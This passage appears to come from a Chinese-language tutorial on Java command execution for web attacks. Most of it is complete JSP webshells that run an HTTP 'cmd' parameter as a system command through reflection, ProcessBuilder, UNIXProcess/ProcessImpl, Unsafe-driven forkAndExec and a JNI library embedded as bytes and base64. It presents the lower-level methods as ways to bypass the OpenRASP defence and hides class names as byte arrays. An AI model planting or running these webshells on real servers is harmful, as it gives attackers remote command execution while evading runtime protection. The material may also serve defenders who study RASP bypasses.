// 反射调用Runtime.getRuntime().exec(xxx)方法
Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
// 反射获取Process类的getInputStream方法
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
// 输出命令执行结果
out.println(result);
%>
ProcessBuilder命令执行
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %><%--
Created by IntelliJ IDEA.
User: 12451
Date: 2021/7/19
Time: 13:53
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Process_builder测试</title>
</head>
<body>
<%InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte []b = new byte[1024];
int a=-1;
while((a=in.read())!=-1){
baos.write(b,0,a);
}
out.write("<pre>"+ baos.toString() +"</pre>");
//此处原来是
//out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>
</body>
</html>
UNIXProcess/ProcessImpl
UNIXProcess
和ProcessImpl
可以理解本就是一个东西,因为在JDK9的时候把UNIXProcess
合并到了ProcessImpl
当中了
其中UNIXProcess 和ProcessImpl
其实就是最终调用native
执行系统命令的类,这个类提供了一个叫forkAndExrc
的forkExec
的示例
private native int forkAndExec(int mode, byte[] helperpath,
byte[] prog,
byte[] argBlock, int argc,
byte[] envBlock, int envc,
byte[] dir,
int[] fds,
boolean redirectErrorStream)
throws IOException;
OpenRASP
提过这个问题,他们只防御到了ProcessBuilder.start()
方法,
而我们只需要直接调用最终执行的UNIXProcess/ProcessImpl
实现命令执行或者直接反射UNIXProcess/ProcessImpl
的forkAndExec
方法就可以绕过RASP实现命令执行了。
UNIXProcess/ProcessImpl执行本地命令
以下代码适用于linux
,并不适用于windows
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
byte[] toCString(String s) {
if (s == null) {
return null;
}
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, result, 0, bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
InputStream start(String[] strs) throws Exception {
// java.lang.UNIXProcess
String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});
// java.lang.ProcessImpl
String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});
Class clazz = null;
// 反射创建UNIXProcess或者ProcessImpl
try {
clazz = Class.forName(unixClass);
} catch (ClassNotFoundException e) {
clazz = Class.forName(processClass);
}
// 获取UNIXProcess或者ProcessImpl的构造方法
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
assert strs != null && strs.length > 0;
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
FileInputStream f0 = null;
FileOutputStream f1 = null;
FileOutputStream f2 = null;
// In theory, close() can throw IOException
// (although it is rather unlikely to happen here)
try {
if (f0 != null) f0.close();
} finally {
try {
if (f1 != null) f1.close();
} finally {
if (f2 != null) f2.close();
}
}
// 创建UNIXProcess或者ProcessImpl实例
Object object = constructor.newInstance(
toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
);
// 获取命令执行的InputStream
Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
inMethod.setAccessible(true);
return (InputStream) inMethod.invoke(object);
}
String inputStreamToString(InputStream in, String charset) throws IOException {
try {
if (charset == null) {
charset = "UTF-8";
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
out.write(b, 0, a);
}
return new String(out.toByteArray());
} catch (IOException e) {
throw e;
} finally {
if (in != null)
in.close();
}
}
%>
<%
String[] str = request.getParameterValues("cmd");
if (str != null) {
InputStream in = start(str);
String result = inputStreamToString(in, "UTF-8");
out.println("<pre>");
out.println(result);
out.println("</pre>");
out.flush();
out.close();
}
%>
forkAndExec命令执行-Unsafe+反射+Native方法调用
-
使用
sun.misc.Unsafe.allocateInstance(Class)
特性可以无需new
或者newInstance
创建UNIXProcess/ProcessImpl
类对象。 -
反射
UNIXProcess/ProcessImpl
类的forkAndExec
方法。 -
构造
forkAndExec
需要的参数并调用。 -
反射
UNIXProcess/ProcessImpl
类的initStreams
方法初始化输入输出结果流对象。 -
反射
UNIXProcess/ProcessImpl
类的getInputStream
方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。
目前以下代码我还没有复现成功,稍后尝试更换jdk
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
%>
<%
String[] strs = request.getParameterValues("cmd");
if (strs != null) {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});
forkMethod.setAccessible(true);// 设置访问权限
int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});
// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
// 获取本地执行结果的输入流
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.println("<pre>");
out.println(baos.toString());
out.println("</pre>");
out.flush();
out.close();
}
%>
JNI命令执行
java可以通过JNI的方式调用动态链接库,我们只要在动态链接库中写入一个执行本地方法的命令就可以了。
<%--
Created by IntelliJ IDEA.
User: yz
Date: 2019/12/6
Time: 4:59 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.FileOutputStream" %>
<%!
private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";
/**
* JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,
* 只有一个public static native String exec(String cmd);的方法
*/
private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
};
// JNI文件Base64编码后的值,这里默认提供一份MacOS的JNI库文件用于测试,其他系统请自行编译
private static final String COMMAND_JNI_FILE_BYTES = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA